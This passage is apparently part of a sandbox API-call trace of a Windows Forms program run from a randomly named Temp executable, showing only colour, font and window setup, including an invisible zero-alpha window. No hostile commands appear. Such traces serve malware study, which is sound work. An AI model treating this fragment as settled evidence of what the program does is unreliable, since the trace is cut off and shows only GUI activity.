returned 0x1 [0125.316] NtdllDefWindowProc_W () returned 0x0 [0125.316] NtdllDefWindowProc_W () returned 0x0 [0125.316] NtdllDefWindowProc_W () returned 0x0 [0125.316] NtdllDefWindowProc_W () returned 0x0 [0125.327] GetSysColor (nIndex=10) returned 0xb4b4b4 [0125.327] GetSysColor (nIndex=2) returned 0xd1b499 [0125.327] GetSysColor (nIndex=9) returned 0x0 [0125.327] GetSysColor (nIndex=12) returned 0xababab [0125.327] GetSysColor (nIndex=15) returned 0xf0f0f0 [0125.327] GetSysColor (nIndex=20) returned 0xffffff [0125.327] GetSysColor (nIndex=16) returned 0xa0a0a0 [0125.327] GetSysColor (nIndex=15) returned 0xf0f0f0 [0125.327] GetSysColor (nIndex=16) returned 0xa0a0a0 [0125.327] GetSysColor (nIndex=21) returned 0x696969 [0125.327] GetSysColor (nIndex=22) returned 0xe3e3e3 [0125.327] GetSysColor (nIndex=20) returned 0xffffff [0125.327] GetSysColor (nIndex=18) returned 0x0 [0125.328] GetSysColor (nIndex=1) returned 0x0 [0125.328] GetSysColor (nIndex=27) returned 0xead1b9 [0125.328] GetSysColor (nIndex=28) returned 0xf2e4d7 [0125.328] GetSysColor (nIndex=17) returned 0x6d6d6d [0125.328] GetSysColor (nIndex=13) returned 0xff9933 [0125.328] GetSysColor (nIndex=14) returned 0xffffff [0125.328] GetSysColor (nIndex=26) returned 0xcc6600 [0125.328] GetSysColor (nIndex=11) returned 0xfcf7f4 [0125.328] GetSysColor (nIndex=3) returned 0xdbcdbf [0125.328] GetSysColor (nIndex=19) returned 0x544e43 [0125.328] GetSysColor (nIndex=24) returned 0xe1ffff [0125.328] GetSysColor (nIndex=23) returned 0x0 [0125.328] GetSysColor (nIndex=4) returned 0xf0f0f0 [0125.328] GetSysColor (nIndex=30) returned 0xf0f0f0 [0125.328] GetSysColor (nIndex=29) returned 0xff9933 [0125.328] GetSysColor (nIndex=7) returned 0x0 [0125.328] GetSysColor (nIndex=0) returned 0xc8c8c8 [0125.328] GetSysColor (nIndex=5) returned 0xffffff [0125.328] GetSysColor (nIndex=6) returned 0x646464 [0125.329] GetSysColor (nIndex=8) returned 0x0 [0126.005] AdjustWindowRectEx (in: lpRect=0x21e490, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x21e490) returned 1 [0126.006] GetSystemMetrics (nIndex=59) returned 1460 [0126.006] GetSystemMetrics (nIndex=60) returned 920 [0126.006] GetSystemMetrics (nIndex=34) returned 132 [0126.006] GetSystemMetrics (nIndex=35) returned 38 [0126.008] AdjustWindowRectEx (in: lpRect=0x21e110, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x21e110) returned 1 [0126.064] GetCurrentThreadId () returned 0xf10 [0126.064] GetCurrentThreadId () returned 0xf10 [0126.077] GetSystemDefaultLCID () returned 0x409 [0126.078] GetStockObject (i=17) returned 0x18a0025 [0126.080] GetObjectW (in: h=0x18a0025, c=92, pv=0x21e1c0 | out: pv=0x21e1c0) returned 92 [0126.081] GetDC (hWnd=0x0) returned 0x2d010b73 [0126.088] GetCurrentProcessId () returned 0xf0c [0126.093] FindAtomW (lpString="GDI+Atom_3852_1") returned 0x0 [0126.095] AddAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0126.107] GdiplusStartup (in: token=0x21d108, input=0x21d120, output=0x21d0f8 | out: token=0x21d108, output=0x21d0f8) returned 0x0 [0126.123] GdipCreateFontFromLogfontW (hdc=0x2d010b73, logfont=0x3299e0, font=0x21e1d8) returned 0x0 [0126.635] GdipGetFontUnit (font=0x1b0041a0, unit=0x21e0e0) returned 0x0 [0126.636] GdipGetFontSize (font=0x1b0041a0, size=0x21e0e0) returned 0x0 [0126.637] GdipGetFontStyle (font=0x1b0041a0, style=0x21e0e0) returned 0x0 [0126.638] GdipGetFamily (font=0x1b0041a0, family=0x21e0e0) returned 0x0 [0126.693] GdipGetFontSize (font=0x1b0041a0, size=0x21e040) returned 0x0 [0126.694] ReleaseDC (hWnd=0x0, hDC=0x2d010b73) returned 1 [0126.697] GetDC (hWnd=0x0) returned 0x3010b83 [0126.699] GdipCreateFromHDC (hdc=0x3010b83, graphics=0x21e1a0) returned 0x0 [0126.707] GdipGetDpiY (graphics=0x1b10d2b0, dpi=0x281e980) returned 0x0 [0126.711] GdipGetFontHeight (font=0x1b0041a0, graphics=0x1b10d2b0, height=0x21e170) returned 0x0 [0126.716] GdipGetEmHeight (family=0x1b00c6e0, style=0, EmHeight=0x21e190) returned 0x0 [0126.718] GdipGetLineSpacing (family=0x1b00c6e0, style=0, LineSpacing=0x21e190) returned 0x0 [0126.720] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0126.721] GdipDeleteGraphics (graphics=0x1b10d2b0) returned 0x0 [0126.721] ReleaseDC (hWnd=0x0, hDC=0x3010b83) returned 1 [0126.725] GdipCreateFont (fontFamily=0x1b00c6e0, emSize=0x0, style=0, unit=0x3, font=0x21e230) returned 0x0 [0126.725] GdipGetFontSize (font=0x1b07d100, size=0x21e2c0) returned 0x0 [0126.727] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0126.728] GdipDeleteFont (font=0x1b0041a0) returned 0x0 [0126.807] AdjustWindowRectEx (in: lpRect=0x21e230, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x21e230) returned 1 [0126.807] AdjustWindowRectEx (in: lpRect=0x21e400, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x21e400) returned 1 [0126.807] GetSystemMetrics (nIndex=59) returned 1460 [0126.807] GetSystemMetrics (nIndex=60) returned 920 [0126.807] AdjustWindowRectEx (in: lpRect=0x21deb0, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x21deb0) returned 1 [0126.807] AdjustWindowRectEx (in: lpRect=0x21e080, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x21e080) returned 1 [0127.140] CreateCompatibleDC (hdc=0x0) returned 0x29010191 [0127.143] GetDC (hWnd=0x0) returned 0x3010b83 [0127.143] GdipCreateFromHDC (hdc=0x3010b83, graphics=0x21e040) returned 0x0 [0127.145] GdipGetLogFontW (font=0x1b07d100, graphics=0x1b10d2b0, logfontW=0x3299e0) returned 0x0 [0127.148] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0127.148] GdipDeleteGraphics (graphics=0x1b10d2b0) returned 0x0 [0127.148] ReleaseDC (hWnd=0x0, hDC=0x3010b83) returned 1 [0127.150] CreateFontIndirectW (lplf=0x3299e0) returned 0x180a0b80 [0127.154] SelectObject (hdc=0x29010191, h=0x180a0b80) returned 0x18a002e [0127.156] GetTextMetricsW (in: hdc=0x29010191, lptm=0x21e1e0 | out: lptm=0x21e1e0) returned 1 [0127.158] GetTextExtentPoint32W (in: hdc=0x29010191, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x28247f0 | out: psizl=0x28247f0) returned 1 [0127.423] SelectObject (hdc=0x29010191, h=0x18a002e) returned 0x180a0b80 [0127.424] DeleteDC (hdc=0x29010191) returned 1 [0127.434] AdjustWindowRectEx (in: lpRect=0x21e020, dwStyle=0x2010000, bMenu=0, dwExStyle=0xd0000 | out: lpRect=0x21e020) returned 1 [0127.434] AdjustWindowRectEx (in: lpRect=0x21e1f0, dwStyle=0x2010000, bMenu=0, dwExStyle=0xd0000 | out: lpRect=0x21e1f0) returned 1 [0127.436] AdjustWindowRectEx (in: lpRect=0x21deb0, dwStyle=0x2010000, bMenu=0, dwExStyle=0xd0000 | out: lpRect=0x21deb0) returned 1 [0127.436] AdjustWindowRectEx (in: lpRect=0x21e080, dwStyle=0x2010000, bMenu=0, dwExStyle=0xd0000 | out: lpRect=0x21e080) returned 1 [0127.441] AdjustWindowRectEx (in: lpRect=0x21e190, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x21e190) returned 1 [0127.442] AdjustWindowRectEx (in: lpRect=0x21e0b0, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x21e0b0) returned 1 [0127.444] GetCurrentActCtx (in: lphActCtx=0x21e640 | out: lphActCtx=0x21e640*=0x0) returned 1 [0127.444] ActivateActCtx (in: hActCtx=0x358688, lpCookie=0x21e680 | out: hActCtx=0x358688, lpCookie=0x21e680) returned 1 [0127.447] GetCurrentActCtx (in: lphActCtx=0x21e0a0 | out: lphActCtx=0x21e0a0*=0x358688) returned 1 [0127.447] AdjustWindowRectEx (in: lpRect=0x21df50, dwStyle=0x2010000, bMenu=0, dwExStyle=0xd0000 | out: lpRect=0x21df50) returned 1 [0127.447] GetModuleHandleW (lpModuleName=0x0) returned 0x1380000 [0127.447] CreateWindowExW (dwExStyle=0xd0000, lpClassName="WindowsForms10.Window.8.app.0.33c0d9d", lpWindowName="S", dwStyle=0x2010000, X=-2147483648, Y=-2147483648, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x1380000, lpParam=0x0) returned 0x20308 [0127.448] SetWindowLongPtrW (hWnd=0x20308, nIndex=-4, dwNewLong=0x772ab0ac) returned 0xa1175c [0127.448] GetWindowLongPtrW (hWnd=0x20308, nIndex=-4) returned 0x772ab0ac [0127.448] SetWindowLongPtrW (hWnd=0x20308, nIndex=-4, dwNewLong=0xa2236c) returned 0x772ab0ac [0127.448] GetWindowLongPtrW (hWnd=0x20308, nIndex=-4) returned 0xa2236c [0127.448] GetWindowLongPtrW (hWnd=0x20308, nIndex=-16) returned 0x6c10000 [0127.455] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x81, wParam=0x0, lParam=0x21d740) returned 0x1 [0127.465] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x83, wParam=0x0, lParam=0x21d7e0) returned 0x0 [0127.472] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x1, wParam=0x0, lParam=0x21d730) returned 0x0 [0127.472] GetClientRect (in: hWnd=0x20308, lpRect=0x21cf40 | out: lpRect=0x21cf40) returned 1 [0127.472] GetWindowRect (in: hWnd=0x20308, lpRect=0x21cf40 | out: lpRect=0x21cf40) returned 1 [0127.482] SetWindowTextW (hWnd=0x20308, lpString="S") returned 1 [0127.482] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0xc, wParam=0x0, lParam=0x28206d0) returned 0x1 [0128.387] SetLayeredWindowAttributes (hwnd=0x20308, crKey=0xf0f0f0, bAlpha=0x0, dwFlags=0x1) returned 1 [0128.389] GetStartupInfoW (in: lpStartupInfo=0x2824e00 | out: lpStartupInfo=0x2824e00*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0128.389] GetParent (hWnd=0x20308) returned 0x0 [0128.392] SetWindowLongPtrW (hWnd=0x20308, nIndex=-8, dwNewLong=0x0) returned 0x0 [0128.400] GetSystemMetrics (nIndex=11) returned 32 [0128.400] GetSystemMetrics (nIndex=12) returned 32 [0128.400] GetDC (hWnd=0x0) returned 0x2d010b73 [0128.401] GetDeviceCaps (hdc=0x2d010b73, index=12) returned 32 [0128.401] GetDeviceCaps (hdc=0x2d010b73, index=14) returned 1 [0128.401] ReleaseDC (hWnd=0x0, hDC=0x2d010b73) returned 1 [0128.405] CreateIconFromResourceEx (presbits=0x2827910, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x501ff [0128.406] GetSystemMetrics (nIndex=49) returned 16 [0128.406] GetSystemMetrics (nIndex=50) returned 16 [0128.418] CreateIconFromResourceEx (presbits=0x2828a10, dwResSize=0x468, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0xa02c1 [0128.421] SendMessageW (hWnd=0x20308, Msg=0x80, wParam=0x0, lParam=0xa02c1) returned 0x0 [0128.421] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x80, wParam=0x0, lParam=0xa02c1) returned 0x0 [0128.422] SendMessageW (hWnd=0x20308, Msg=0x80, wParam=0x1, lParam=0x501ff) returned 0x0 [0128.422] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x80, wParam=0x1, lParam=0x501ff) returned 0x0 [0128.447] GetSystemMenu (hWnd=0x20308, bRevert=0) returned 0x0 [0128.451] GetWindowPlacement (in: hWnd=0x20308, lpwndpl=0x21df60 | out: lpwndpl=0x21df60) returned 1 [0128.452] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0128.452] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0128.452] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0128.452] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0128.452] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0128.482] GetClientRect (in: hWnd=0x20308, lpRect=0x21e080 | out: lpRect=0x21e080) returned 1 [0128.482] GetClientRect (in: hWnd=0x20308, lpRect=0x21df60 | out: lpRect=0x21df60) returned 1 [0128.482] GetWindowRect (in: hWnd=0x20308, lpRect=0x21df60 | out: lpRect=0x21df60) returned 1 [0128.484] GetWindowLongPtrW (hWnd=0x20308, nIndex=-16) returned 0x6c10000 [0128.484] GetWindowLongPtrW (hWnd=0x20308, nIndex=-16) returned 0x6c10000 [0128.486] GetWindowLongPtrW (hWnd=0x20308, nIndex=-20) returned 0xd0100 [0128.488] SetWindowLongPtrW (hWnd=0x20308, nIndex=-16, dwNewLong=0x2010000) returned 0x6c10000 [0128.488] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x7c, wParam=0xfffffffffffffff0, lParam=0x21dfa0) returned 0x0 [0128.488] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x7d, wParam=0xfffffffffffffff0, lParam=0x21dfa0) returned 0x0 [0128.490] SetWindowLongPtrW (hWnd=0x20308, nIndex=-20, dwNewLong=0xd0000) returned 0xd0000 [0128.490] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x7c, wParam=0xffffffffffffffec, lParam=0x21dfa0) returned 0x0 [0128.490] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x7d, wParam=0xffffffffffffffec, lParam=0x21dfa0) returned 0x0 [0128.492] SetWindowPos (hWnd=0x20308, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0128.494] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x46, wParam=0x0, lParam=0x21e040) returned 0x0 [0128.494] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x83, wParam=0x1, lParam=0x21e010) returned 0x0 [0128.497] GetWindowPlacement (in: hWnd=0x20308, lpwndpl=0x21daa0 | out: lpwndpl=0x21daa0) returned 1 [0128.497] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x47, wParam=0x0, lParam=0x21e040) returned 0x0 [0128.498] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x3, wParam=0x0, lParam=0x7d007d) returned 0x0 [0128.498] GetClientRect (in: hWnd=0x20308, lpRect=0x21cd50 | out: lpRect=0x21cd50) returned 1 [0128.498] GetWindowRect (in: hWnd=0x20308, lpRect=0x21cd50 | out: lpRect=0x21cd50) returned 1 [0128.500] GetWindowTextLengthW (hWnd=0x20308) returned 1 [0128.500] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1 [0128.500] GetSystemMetrics (nIndex=42) returned 0 [0128.511] CoTaskMemAlloc (cb=0x8) returned 0x1ae8e320 [0128.511] GetWindowTextW (in: hWnd=0x20308, lpString=0x1ae8e320, nMaxCount=2 | out: lpString="S") returned 1 [0128.511] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0xd, wParam=0x2, lParam=0x1ae8e320) returned 0x1 [0128.511] CoTaskMemFree (pv=0x1ae8e320) [0128.513] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x5, wParam=0x0, lParam=0x260084) returned 0x0 [0128.515] GetClientRect (in: hWnd=0x20308, lpRect=0x21d840 | out: lpRect=0x21d840) returned 1 [0128.515] GetWindowRect (in: hWnd=0x20308, lpRect=0x21d840 | out: lpRect=0x21d840) returned 1 [0128.520] RedrawWindow (hWnd=0x20308, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0128.521] GetSystemMenu (hWnd=0x20308, bRevert=0) returned 0x0 [0128.521] GetWindowPlacement (in: hWnd=0x20308, lpwndpl=0x21df60 | out: lpwndpl=0x21df60) returned 1 [0128.521] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0128.521] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0128.521] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0128.521] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0128.521] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0128.522] ShowWindow (hWnd=0x20308, nCmdShow=5) returned 1 [0128.525] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0128.525] GetCurrentActCtx (in: lphActCtx=0x21d940 | out: lphActCtx=0x21d940*=0x358688) returned 1 [0128.526] GetModuleHandleW (lpModuleName=0x0) returned 0x1380000 [0128.526] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x56000000, X=327, Y=84, nWidth=100, nHeight=50, hWndParent=0x20308, hMenu=0x0, hInstance=0x1380000, lpParam=0x0) returned 0x20302 [0128.526] SetWindowLongPtrW (hWnd=0x20302, nIndex=-4, dwNewLong=0x772ab0ac) returned 0xa1175c [0128.526] GetWindowLongPtrW (hWnd=0x20302, nIndex=-4) returned 0x772ab0ac [0128.526] SetWindowLongPtrW (hWnd=0x20302, nIndex=-4, dwNewLong=0xa223bc) returned 0x772ab0ac [0128.526] GetWindowLongPtrW (hWnd=0x20302, nIndex=-4) returned 0xa223bc [0128.526] GetWindowLongPtrW (hWnd=0x20302, nIndex=-16) returned 0x46000000 [0128.526] GetWindowLongPtrW (hWnd=0x20302, nIndex=-12) returned 0x0 [0128.526] SetWindowLongPtrW (hWnd=0x20302, nIndex=-12, dwNewLong=0x20302) returned 0x0 [0128.526] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x81, wParam=0x0, lParam=0x21cfe0) returned 0x1 [0128.527] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x83, wParam=0x0, lParam=0x21d080) returned 0x0 [0128.527] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x1, wParam=0x0, lParam=0x21cfe0) returned 0x0 [0128.529] GetWindow (hWnd=0x20302, uCmd=0x3) returned 0x0 [0128.529] GetClientRect (in: hWnd=0x20302, lpRect=0x21c830 | out: lpRect=0x21c830) returned 1 [0128.529] GetWindowRect (in: hWnd=0x20302, lpRect=0x21c830 | out: lpRect=0x21c830) returned 1 [0128.529] GetParent (hWnd=0x20302) returned 0x20308 [0128.530] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x20308, lpPoints=0x21c820, cPoints=0x2 | out: lpPoints=0x21c820) returned -8126589 [0128.562] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x5, wParam=0x0, lParam=0x320064) returned 0x0 [0128.562] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x3, wParam=0x0, lParam=0x540147) returned 0x0 [0128.562] GetClientRect (in: hWnd=0x20302, lpRect=0x21c930 | out: lpRect=0x21c930) returned 1 [0128.562] GetWindowRect (in: hWnd=0x20302, lpRect=0x21c930 | out: lpRect=0x21c930) returned 1 [0128.562] GetParent (hWnd=0x20302) returned 0x20308 [0128.562] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x20308, lpPoints=0x21c920, cPoints=0x2 | out: lpPoints=0x21c920) returned -8126589 [0128.567] SendMessageW (hWnd=0x20302, Msg=0x2210, wParam=0x3020001, lParam=0x20302) returned 0x0 [0128.567] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x2210, wParam=0x3020001, lParam=0x20302) returned 0x0 [0128.567] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0128.567] GetParent (hWnd=0x20302) returned 0x20308 [0128.576] GetWindowTextLengthW (hWnd=0x20308) returned 1 [0128.576] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1 [0128.576] GetSystemMetrics (nIndex=42) returned 0 [0128.576] CoTaskMemAlloc (cb=0x8) returned 0x1ae8e320 [0128.576] GetWindowTextW (in: hWnd=0x20308, lpString=0x1ae8e320, nMaxCount=2 | out: lpString="S") returned 1 [0128.576] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0xd, wParam=0x2, lParam=0x1ae8e320) returned 0x1 [0128.577] CoTaskMemFree (pv=0x1ae8e320) [0128.822] SetLayeredWindowAttributes (hwnd=0x20308, crKey=0xf0f0f0, bAlpha=0x0, dwFlags=0x3) returned 1 [0128.842] GetCurrentThreadId () returned 0xf10 [0128.847] EnumThreadWindows (dwThreadId=0xf10, lpfn=0xa224bc, lParam=0x20308) returned 1 [0128.910] GetWindowLongPtrW (hWnd=0x20308, nIndex=-8) returned 0x0 [0128.910] GetWindowLongPtrW (hWnd=0x20310, nIndex=-8) returned 0x0 [0128.910] GetWindowLongPtrW (hWnd=0x2030a, nIndex=-8) returned 0x20310 [0128.939] GetFocus () returned 0x0 [0128.939] GetParent (hWnd=0x20308) returned 0x0 [0128.940] GetWindowThreadProcessId (in: hWnd=0x20302, lpdwProcessId=0x21d760 | out: lpdwProcessId=0x21d760) returned 0xf10 [0128.951] GetCurrentActCtx (in: lphActCtx=0x21d530 | out: lphActCtx=0x21d530*=0x358688) returned 1 [0128.952] GetModuleHandleW (lpModuleName=0x0) returned 0x1380000 [0128.952] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.33c0d9d", lpWindowName="WindowsFormsParkingWindow", dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffffffffffd, hMenu=0x0, hInstance=0x1380000, lpParam=0x0) returned 0x20304 [0128.953] SetWindowLongPtrW (hWnd=0x20304, nIndex=-4, dwNewLong=0x772ab0ac) returned 0xa1175c [0128.953] GetWindowLongPtrW (hWnd=0x20304, nIndex=-4) returned 0x772ab0ac [0128.954] SetWindowLongPtrW (hWnd=0x20304, nIndex=-4, dwNewLong=0xa2253c) returned 0x772ab0ac [0128.955] GetWindowLongPtrW (hWnd=0x20304, nIndex=-4) returned 0xa2253c [0128.955] GetWindowLongPtrW (hWnd=0x20304, nIndex=-16) returned 0x6c10000 [0128.955] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20304, Msg=0x24, wParam=0x0, lParam=0x21cc50) returned 0x0 [0128.955] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20304, Msg=0x81, wParam=0x0, lParam=0x21cbd0) returned 0x1 [0128.955] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20304, Msg=0x83, wParam=0x0, lParam=0x21cc70) returned 0x0 [0128.955] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20304, Msg=0x1, wParam=0x0, lParam=0x21cb90) returned 0x0 [0128.956] GetClientRect (in: hWnd=0x20304, lpRect=0x21c380 | out: lpRect=0x21c380) returned 1 [0128.956] GetWindowRect (in: hWnd=0x20304, lpRect=0x21c380 | out: lpRect=0x21c380) returned 1 [0128.958] SetWindowTextW (hWnd=0x20304, lpString="WindowsFormsParkingWindow") returned 1 [0128.958] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20304, Msg=0xc, wParam=0x0, lParam=0x282df30) returned 0x1 [0128.959] GetParent (hWnd=0x20304) returned 0x0 [0128.964] SetParent (hWndChild=0x20302, hWndNewParent=0x20304) returned 0x20308 [0128.965] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0128.965] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x46, wParam=0x0, lParam=0x21d5f0) returned 0x0 [0128.967] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0128.967] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x47, wParam=0x0, lParam=0x21d5f0) returned 0x0 [0128.967] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x3, wParam=0x0, lParam=0x540147) returned 0x0 [0128.967] GetClientRect (in: hWnd=0x20302, lpRect=0x21c430 | out: lpRect=0x21c430) returned 1 [0128.967] GetWindowRect (in: hWnd=0x20302, lpRect=0x21c430 | out: lpRect=0x21c430) returned 1 [0128.967] GetParent (hWnd=0x20302) returned 0x20304 [0128.967] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x20304, lpPoints=0x21c420, cPoints=0x2 | out: lpPoints=0x21c420) returned -1572867 [0128.968] GetClientRect (in: hWnd=0x20302, lpRect=0x21ce30 | out: lpRect=0x21ce30) returned 1 [0128.968] GetWindowRect (in: hWnd=0x20302, lpRect=0x21ce30 | out: lpRect=0x21ce30) returned 1 [0128.968] GetParent (hWnd=0x20302) returned 0x20304 [0128.968] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x20304, lpPoints=0x21ce20, cPoints=0x2 | out: lpPoints=0x21ce20) returned -1572867 [0128.968] GetParent (hWnd=0x20302) returned 0x20304 [0128.968] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0128.972] GetWindowLongPtrW (hWnd=0x20308, nIndex=-20) returned 0xd0000 [0128.974] DestroyWindow (hWnd=0x20308) returned 1 [0128.974] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0128.977] GetWindowTextLengthW (hWnd=0x20308) returned 1 [0128.977] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1 [0128.977] GetSystemMetrics (nIndex=42) returned 0 [0128.977] CoTaskMemAlloc (cb=0x8) returned 0x1ae8e3d0 [0128.977] GetWindowTextW (in: hWnd=0x20308, lpString=0x1ae8e3d0, nMaxCount=2 | out: lpString="S") returned 1 [0128.977] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0xd, wParam=0x2, lParam=0x1ae8e3d0) returned 0x1 [0128.977] CoTaskMemFree (pv=0x1ae8e3d0) [0128.978] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0128.979] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20308, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0128.990] GetCurrentActCtx (in: lphActCtx=0x21d540 | out: lphActCtx=0x21d540*=0x358688) returned 1 [0128.991] GetModuleHandleW (lpModuleName=0x0) returned 0x1380000 [0128.991] CreateWindowExW (dwExStyle=0x90000, lpClassName="WindowsForms10.Window.8.app.0.33c0d9d", lpWindowName="S", dwStyle=0x2010000, X=125, Y=125, nWidth=132, nHeight=38, hWndParent=0x0, hMenu=0x0, hInstance=0x1380000, lpParam=0x0) returned 0x202fe [0128.991] SetWindowLongPtrW (hWnd=0x202fe, nIndex=-4, dwNewLong=0x772ab0ac) returned 0xa1175c [0128.991] GetWindowLongPtrW (hWnd=0x202fe, nIndex=-4) returned 0x772ab0ac [0128.992] SetWindowLongPtrW (hWnd=0x202fe, nIndex=-4, dwNewLong=0xa2258c) returned 0x772ab0ac [0128.992] GetWindowLongPtrW (hWnd=0x202fe, nIndex=-4) returned 0xa2258c [0128.992] GetWindowLongPtrW (hWnd=0x202fe, nIndex=-16) returned 0x6c10000 [0128.995] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, 